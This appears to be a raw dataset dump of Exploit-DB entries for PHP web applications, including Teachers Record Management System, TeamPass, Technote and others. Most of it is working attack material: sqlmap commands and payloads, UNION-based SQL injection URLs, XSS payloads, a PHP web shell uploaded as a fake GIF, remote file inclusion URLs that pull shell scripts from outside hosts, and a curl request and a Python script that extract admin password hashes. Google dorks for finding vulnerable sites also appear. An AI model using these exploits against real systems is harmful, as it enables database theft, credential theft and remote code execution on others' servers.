deardaniel/secdata-raw huggingface dataset:
Exploit-DB #51914
Description: Teacher Subject Allocation Management System 1.0 - 'searchdata' SQLi
Type: webapps
Platform: php
Date: 2024-03-20
Author: Ersin Erenler

Exploit:
# Exploit Title: Teacher Subject Allocation Management System 1.0 - 'searchdata' SQLi
# Date: 2023-11-15
# Exploit Author: Ersin Erenler
# Vendor Homepage: https://phpgurukul.com/teacher-subject-allocation-system-using-php-and-mysql
# Software Link: https://phpgurukul.com/?sdm_process_download=1&download_id=17645
# Version: 1.0
# Tested on: Windows/Linux, Apache 2.4.54, PHP 8.2.0
# CVE : CVE-2023-46024

-------------------------------------------------------------------------------

# Description:

Teacher Subject Allocation Management System V1.0 is susceptible to a significant security vulnerability that arises from insufficient protection on the 'searchdata' parameter in the index.php file. This flaw can potentially be exploited to inject malicious SQL queries, leading to unauthorized access and extraction of sensitive information from the database.

Vulnerable File: /index.php

Parameter Name: searchdata

# Proof of Concept:
----------------------

Execute sqlmap using either the 'searchdata' parameter to retrieve the current database:

sqlmap -u "http://localhost/Tsas" --method POST --data "searchdata=test&search=" -p searchdata --risk 3 --level 3 --dbms mysql --batch --current-db

SQLMap Response:
----------------------
---
Parameter: searchdata (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: searchdata=test%' AND 3912=3912 AND 'qxHV%'='qxHV&search=

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: searchdata=test%' AND (SELECT 1043 FROM(SELECT COUNT(*),CONCAT(0x7170706a71,(SELECT (ELT(1043=1043,1))),0x717a787171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'kewe%'='kewe&search=

    Type: stacked queries
    Title: MySQL >= 5.0.12 stacked queries (comment)
    Payload: searchdata=test%';SELECT SLEEP(5)#&search=

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: searchdata=test%' AND (SELECT 8862 FROM (SELECT(SLEEP(5)))GqzT) AND 'wylU%'='wylU&search=

    Type: UNION query
    Title: Generic UNION query (NULL) - 15 columns
    Payload: searchdata=test%' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7170706a71,0x784e7a47626a794a[PII_REDACTED]4c5a4c[PII_REDACTED]4658476e75684c4a716f6173724b6b6a685163,0x717a787171)-- -&search=
---
Exploit-DB #50019
Description: Teachers Record Management System 1.0 - 'email' Stored Cross-site Scripting (XSS)
Type: webapps
Platform: php
Date: 2021-06-16
Author: nhattruong

Exploit:
# Exploit Title: Teachers Record Management System 1.0 – 'email' Stored Cross-site Scripting (XSS)
# Date: 05-10-2021
# Exploit Author: nhattruong
# Vendor Homepage: https://phpgurukul.com
# Software Link: https://phpgurukul.com/teachers-record-management-system-using-php-and-mysql/
# Version: 1.0
# Tested on: Windows 10 + XAMPP v3.2.4

POC:
1. Go to url http://localhost/admin/index.php
2. Do login
3. Execute the payload
4. Reload page to see the different

Payload:

POST /admin/adminprofile.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 91
Origin: http://localhost
Connection: close
Referer: http://localhost/trms/admin/adminprofile.php
Cookie: PHPSESSID=8vkht2tvbo774tsjke1t739i7l
Upgrade-Insecure-Requests: 1

adminname=Adminm&username=admin&mobilenumber=[PII_REDACTED]&email="><script>alert(123);</script>&submit=
Exploit-DB #50018
Description: Teachers Record Management System 1.0 - 'Multiple' SQL Injection (Authenticated)
Type: webapps
Platform: php
Date: 2021-06-16
Author: nhattruong

Exploit:
# Exploit Title: Teachers Record Management System 1.0 – Multiple SQL Injection (Authenticated)
# Date: 05-10-2021
# Exploit Author: nhattruong
# Vendor Homepage: https://phpgurukul.com
# Software Link: https://phpgurukul.com/teachers-record-management-system-using-php-and-mysql/
# Version: 1.0
# Tested on: Windows 10 + XAMPP v3.2.4

POC:
1. Go to url http://localhost/login.php
2. Login with default creds
3. Execute the payload

Payload #1:

POST /admin/search.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 32
Origin: http://localhost
Connection: close
Referer: http://localhost/trms/admin/search.php
Cookie: PHPSESSID=4c4g8dedr7omt9kp1j7d6v6fg0
Upgrade-Insecure-Requests: 1

searchdata=a' or 1=1-- -&search=

Payload #2:

http://local/admin/edit-subjects-detail.php?editid=a' or 1=1-- -

Payload #3:

http://local/admin/edit-teacher-detail.php?editid=a' or 1=1-- -
Exploit-DB #49562
Description: Teachers Record Management System 1.0 - 'searchteacher' SQL Injection
Type: webapps
Platform: php
Date: 2021-02-15
Author: Soham Bakore

Exploit:
# Exploit Title: Teachers Record Management System 1.0 - 'searchteacher' SQL Injection
# Date: 13/02/2021
# Exploit Author: Soham Bakore, Nakul Ratti
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/14399/teacher-record-system-phpmysql.html
# Version:1.0
# Tested on: latest version of Chrome, Firefox on Windows and Linux

--------------------------Proof of Concept-----------------------

1. Navigate to http://host/trms/
2. The "searchteacher" parameter in search-teacher.php is vulnerable to SQL
injection
3. Below curl request will display the admin username and password hash

------------------------Exploit request-----------------------------

curl -i -s -k -X $'POST' \
    -H $'Host: 192.168.1.13' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0;
Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0' -H $'Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8'
-H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate'
-H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length:
130' -H $'Origin: http://192.168.1.17' -H $'DNT: 1' -H $'Connection: close'
-H $'Referer: http://192.168.1.13/trms/' -H $'Cookie:
PHPSESSID=t2lshgnjhov62o1s0q0iq331p9' -H $'Upgrade-Insecure-Requests: 1' \
    -b $'PHPSESSID=t2lshgnjhov62o1s0q0iq331p9' \
    --data-binary
$'searchteacher=Arts\'+union+select+1,concat(\'Username:\',UserName),3,concat(\'Password:\',Password),5,6,7,8,9,10+from+tbladmin#&search='
\
    $'http://host/trms/search-teacher.php'
Exploit-DB #51512
Description: Teachers Record Management System 1.0 - File Upload Type Validation
Type: webapps
Platform: php
Date: 2023-06-13
Author: AFFAN AHMED

Exploit:
Exploit Title: Teachers Record Management System 1.0 – File Upload Type Validation
Date: 17-01-2023
EXPLOIT-AUTHOR: AFFAN AHMED
Vendor Homepage: <https://phpgurukul.com>
Software Link: <https://phpgurukul.com/teachers-record-management-system-using-php-and-mysql/>
Version: 1.0
Tested on: Windows 11 + XAMPP
CVE : CVE-2023-3187

===============================
STEPS_TO_REPRODUCE
===============================
1. Login into Teacher-Account with the credentials “Username: jogoe12@yourdomain.com”
[CREDENTIAL_REDACTED]”
2. Navigate to Profile Section and edit the Profile Pic by clicking on Edit Image
3. Open the Burp-suite and Intercept the Edit Image Request
4. In POST Request Change the “ Filename “ from “ profile picture.png “ to “profile picture.php.gif ”
5. Change the **Content-type from “ image/png “ to “ image/gif “
6. And Add this **Payload** : `GIF89a <?php echo system($_REQUEST['dx']); ?>`
7. Where **GIF89a is the GIF magic bytes this bypass the file upload extension**
8. Below is the Burpsuite-POST Request for all the changes that I have made above

==========================================
BURPSUITE_REQUEST
==========================================
POST /trms/teacher/changeimage.php HTTP/1.1
Host: localhost
Content-Length: 442
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="109", "Not_A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: <http://localhost>
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryndAPYa0GGOxSUHdF
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: <http://localhost/trms/teacher/changeimage.php>
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=8alf0rbfjmhm3ddra7si0cv7qc
Connection: close

------WebKitFormBoundaryndAPYa0GGOxSUHdF
Content-Disposition: form-data; name="subjects"

John Doe
------WebKitFormBoundaryndAPYa0GGOxSUHdF
Content-Disposition: form-data; name="newpic"; filename="profile picture.php.gif"
Content-Type: image/gif

GIF89a <?php echo system($_REQUEST['dx']); ?>

------WebKitFormBoundaryndAPYa0GGOxSUHdF
Content-Disposition: form-data; name="submit"


------WebKitFormBoundaryndAPYa0GGOxSUHdF--


===============================
PROOF_OF_CONCEPT
===============================
GITHUB_LINK: https://github.com/ctflearner/Vulnerability/blob/main/Teacher_Record_Management_System/trms.md
Exploit-DB #2368
Description: TeamCal Pro 2.8.001 - 'app_root' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-14
Author: PSYCH@

Exploit:
#########################################################################
#Author:PSYCH@  psych0path@hackermail.com
#
#                                                            
#########################################################################
#TeamCal Pro 2.8.001 (app_root) Remote file inclusion Vulnerabilities
#Demo: www.lewe.com/tcpro/
#
#########################################################################
#Code:
#
#include( $tc_config['app_root']."includes/footer.html.inc.php" );
#
#########################################################################
#Exploit
#
#http://site.com/path/includes/footer.html.inc.php?tc_config[app_root]=shell.txt?
#
#Example:www.teamcounter.com/tcpro/includes/footer.html.inc.php?tc_config[app_root]=shell.txt?
#
#########################################################################
#Thnx:Warhack & mAfiAcarLEs & DarkXBoyZ
#
#
#########################################################################

# milw0rm.com [2006-09-14]
Exploit-DB #33195
Description: TeamHelpdesk Customer Web Service (CWS) 8.3.5 & Technician Web Access (TWA) 8.3.5 - Remote User Credential Dump
Type: webapps
Platform: php
Date: 2014-05-05
Author: bhamb

Exploit:
# Exploit Title: Team Helpdesk Customer Web Service (CWS) Remote User Credential Dump exploit
# Exploit Title: Team Helpdesk Technician Web Access (TWA) Remote User Credential Dump exploit
# Date: May 5, 2014
# Exploit Author: bhamb (ccb3b72@gmail.com)
# Vendor Homepage: http://www.assistmyteam.net/TeamHelpdesk/
# Software Link: http://www.assistmyteam.net/TeamHelpdesk/Download.asp
# Version: 8.3.5 (and probably prior)
# Tested on: Windows 2008 R2
# CVE : -

Recommendation:

Usage: ./user_cred_dump_cws.py https://Hostname.com

You will get a username:encrypted-password pairs.
To decrypt the encrypted passwords, please use my Password Decrypt script
(decrypt_cws.py) for Team Helpdesk CWS.




Usage: ./user_cred_dump_twa.py https://Hostname.com

You will get a username:encrypted-password pairs.
To decrypt the encrypted passwords, please use my Password Decrypt script
(decrypt_twa.py) for Team Helpdesk TWA.



Verifying exploits
https://www.youtube.com/watch?v=pJ1fGN3DIMU&feature=youtu.be



Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/33195-Team_Helpdesk_Web.zip
Exploit-DB #37087
Description: TeamPass 2.1.5 - 'login' HTML Injection
Type: webapps
Platform: php
Date: 2012-04-17
Author: Marcos Garcia

Exploit:
source: https://www.securityfocus.com/bid/53038/info

TeamPass is prone to an HTML-injection vulnerability because it fails to sanitize user-supplied input.

Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and control how the site is rendered to the user; other attacks are also possible.

TeamPass 2.1.5 is vulnerable; other versions may also be affected.

POST /TeamPass/sources/users.queries.php HTTP/1.1
type=add_new_user&login=[XSS]&pw=testing2&email=test&admin=false&manager=true&read_only=false&personal_folder=false&new_folder_role_domain=false&domain=test&key=key
Exploit-DB #40140
Description: TeamPass Passwords Management System 2.1.26 - Arbitrary File Download
Type: webapps
Platform: php
Date: 2016-07-21
Author: Hasan Emre Ozer

Exploit:
1. ADVISORY INFORMATION
========================================
Title: TeamPass Passwords Management System via Unauth File Download and Arbitrary File Download
Application: TeamPass Passwords Management System
Class: Sensitive Information disclosure
Remotely Exploitable: Yes
Versions Affected: TeamPass Passwords Management System <= 2.1.26
Bugs:  Arbitrary File Download
Date of found:  21.03.2016
Reported:  09.05.2016
Date of Public Advisory: 13.05.2016
Author: Hasan Emre Ozer 


2. CREDIT
========================================
This vulnerability was identified during penetration test
by Hasan Emre Ozer & Halit Alptekin from PRODAFT / INVICTUS

Thank you Mehmet Ince for support

3. DESCRIPTION
========================================
We deciced to publish the vulnerability after its fix in release 2.1.26

4. VERSIONS AFFECTED
========================================
TeamPass Passwords Management System <= 2.1.10


5. TECHNICAL DETAILS & POC
========================================
Using 'downloadFile.php' file from 'sources' directory we can download any file.


Proof of Concept (POC)
 
Example for downloading database configuration:
 
http://teampass/sources/downloadFile.php?sub=includes&file=settings.php


Technical Details
<?php 
......

header("Content-disposition: attachment; filename=".rawurldecode($_GET['name']));
header("Content-Type: application/octet-stream");
header("Pragma: public");
header("Cache-Control: must-revalidate, post-check=0, pre-check=0, public");
header("Expires: 0");
readfile('../'.$_GET['sub'].'/'.basename($_GET['file']));
?>

$_GET['sub'] and $_GET['file'] parameters vulnerable in readfile function. 



6. SOLUTION
========================================
Update to the latest version v2.1.26


7. REFERENCES
========================================
http://teampass.net/2016-05-13-release-2.1.26
Exploit-DB #4582
Description: teatro 1.6 - 'basePath' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-10-28
Author: Alkomandoz Hacker

Exploit:
# teatro 1.6 Remote File Include Vulnerability
 Download script : http://telemat.die.unifi.it/book/2003/Telematica-II/teatro-1.6.tgz
 Dicovered by    : Alkomandoz Hacker
 Contact         : alkomandoz-hacker@hotmail.com
=========================================================================

 
http://localhost/path/teatro/pub/pub08_comments.php?basePath=shell.txt
======================================================================

# Thanx:   AsbMay's Group & City Of Ghosts Team & Sniper-sa Team
# Greetz To:   Sniper_Sa & Pal-Hackers & Hack eGy & Dr SeSo & No4Hard & Devil-x & Gold_M

# milw0rm.com [2007-10-28]
Exploit-DB #15890
Description: Tech Shop Technote 7 - SQL Injection
Type: webapps
Platform: php
Date: 2011-01-01
Author: MaJ3stY

Exploit:
# Exploit Title: Technote7(Commercial Version, Free Version) <== SQL Injection  Vulnerabilities
# Google Dork: inurl:/technote/board.php?category=
# Date: 2011/01/02
# Author: MaJ3stY(http://maj3sty.tistory.com)
# Language : PHP 
# Software Link: http://www.technote.co.kr/php/technote1/board.php?board=consult&command=skin_insert&exe=insert_down_shop
# Version: Technote7, TechShop 1.2(The latest version of the current from)
# Tested on: All Windows, All Linux

PoC(Technote7) :
 
 http://localhost/board.php?board=skinmarket&category=11 and 1=2 union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,@@version,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61--

PoC(Technote7 - Techshop 1.2) :

 http://localhost/board.php?board=agcmain&category=10 and 1=2 union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,@@version,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71--

Exploit :

http://site/board.php?board=boarname&category=[SQL Line]
Exploit-DB #43211
Description: Techno Portfolio Management Panel - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2017-12-05
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Techno - Portfolio Management Panel 1.0 - SQL Injection
# Dork: N/A
# Date: 02.12.2017
# Vendor Homepage: https://codecanyon.net/user/engtechno
# Software Link: https://codecanyon.net/item/techno-portfolio-management-panel/20919551
# Demo: http://dacy.esy.es/eng/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/single.php?id=[SQL]
# 
# -14++/*!08888UNION*/(/*!08888SELECT*/0x283129,0x283229,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),0x283429,0x283529,0x283629,0x283729,(/*!08888SELECT*/+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+/*!08888FROM*/+INFORMATION_SCHEMA.TABLES+/*!08888WHERE*/+TABLE_SCHEMA=DATABASE()),0x283929,0x28313029,0x28313129,0x28313229,0x28313329)--+-
# 
# Etc..
# # # # #



http://server/single.php?id=-14++/*!08888UNION*/(/*!08888SELECT*/0x283129,0x283229,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),0x283429,0x283529,0x283629,0x283729,(/*!08888SELECT*/+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+/*!08888FROM*/+INFORMATION_SCHEMA.TABLES+/*!08888WHERE*/+TABLE_SCHEMA=DATABASE()),0x283929,0x28313029,0x28313129,0x28313229,0x28313329)--+-

u633631124_dacy@server : u633631124_dacy : 10.1.24-MariaDB

(7)categories
feedback
messages
notes
portfolio
settings
uploads
users
wp_commentmeta
wp_comments
etc....
Exploit-DB #33526
Description: Technology for Solutions 1.0 - 'id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-01-14
Author: PaL-D3v1L

Exploit:
source: https://www.securityfocus.com/bid/37811/info

Technology for Solutions is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

http://www.example.com/eng/contacto_demo.php?id=%22%3E%3Cscript%3Ealert%281%29;%3C/script%3E
Exploit-DB #6478
Description: Technote 7 - 'shop_this_skin_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-09-17
Author: webDEViL

Exploit:
#-----------webDEViL - [ w3bd3vil [at] gmail [dot] com ] -----------#
#-----------Technote 7 Remote File Inclusion------------------------#
# ----------developers site: http://www.technote.co.kr--------------#

bash-3.1# cat technote7/skin_shop/standard/3_plugin_twindow/twindow_notice.php

...snip...
$TWIN_SET['dir_path']= "$shop_this_skin_path/3_plugin_twindow/skin_gray";
...snip...
include_once "$TWIN_SET[dir_path]/frame_design.php";

http://site/technote7/skin_shop/standard/3_plugin_twindow/twindow_notice.php?shop_this_skin_path=http://ip.a.dd.r/shell.php?

# milw0rm.com [2008-09-17]
Exploit-DB #17389
Description: Technote 7.2 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2011-06-11
Author: BlueH4G

Exploit:
# Exploit Title: technote blind sql injection
# Google Dork: inurl:/technote7/board.php?board=
# Date: 2011.06.11
# Author: BlueH4G (http://blueh4g.org)
# Software Link:
http://www.technote.co.kr/php/technote1/board.php?board=consult&command=skin_insert&exe=insert_down_shop
# Version: technote7.2 > * && Mysql 3.x < *
# Tested on: Windows & Linux everything

============================================================================================================

vulnerability :

blind sql injection with order by option.

i could control align data with sort variable with `case`.


blueh4g.org/technote7/board.php?board=freeboard&sort=(case(select 1=1) when
true then no else uid end) asc#

-> sort by `no` column.


blueh4g.org/technote7/board.php?board=freeboard&sort=(case(select 1=2) when
true then no else uid end) asc#

-> sort by `uid` column.


============================================================================================================

exploit :

#!/usr/bin/python
#-*- coding: utf-8 -*-
# coded by BlueH4G _http://blueh4g.org_
import urllib,re
from time import sleep

def main() :
 chk = re.compile("true_title")
 url_begin="
http://t.blueh4g.org/technote7/board.php?board=freeboard&sort=(case%20("
 url_end=")%20when%20true%20then%20no%20else%20uid%20end)%20asc%20limit%200,1%23"
 result="result : "
 for spos in range(1,14):
  ch=0
  for i in range(1,8) :
   sleep(0.05)

 query="select%20substr((select%20lpad(bin(ascii(substr(m_pass,"+str(spos)+",1))),7,0)%20from%20a_tn3_memberboard_list%20order%20by%20m_level%20desc%20limit%200,1),"+str(i)+",1)=1
   data=urllib.urlopen(url_begin + query + url_end)
   text=data.read()
   if chk.search(text) :
    ch += 2**(7-i)
  result+=chr(ch)
 print result
main()

============================================================================================================

-- 
## BlueH4G ##
Exploit-DB #7965
Description: Technote 7.2 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-02-03
Author: make0day

Exploit:
TECHNOTE 7.2 (08.09.25) Remote File Inclusion Vulnerability
bY make0day@gmail.com

/*************************

TECHNOTE (VERSION 7.2 (08.09.25))is bulletin board system of Korea.
It is freely available for all platforms that supports PHP and MySQL.
But I find Remote File Inclusion vulnerability.
Here is the details:

**************************/
TEST ON VERSION TECHNOTE 7.2 (08.09.25)
Download : http://www.technote.co.kr/
/***************************
Remote File Inclusion Vulnerability

/body_default.php

if($GOODS['gs_input']) include "$shop_this_skin_path/2_view_body/include/form_option.php";
//File Include

*************************/

poc:

http://[site]/skin_shop/standard/2_view_body/body_default.php?GOODS[no]=deadbeef&GOODS[gs_input]=deadbeef&shop_this_skin_path=[RFI]

# milw0rm.com [2009-02-03]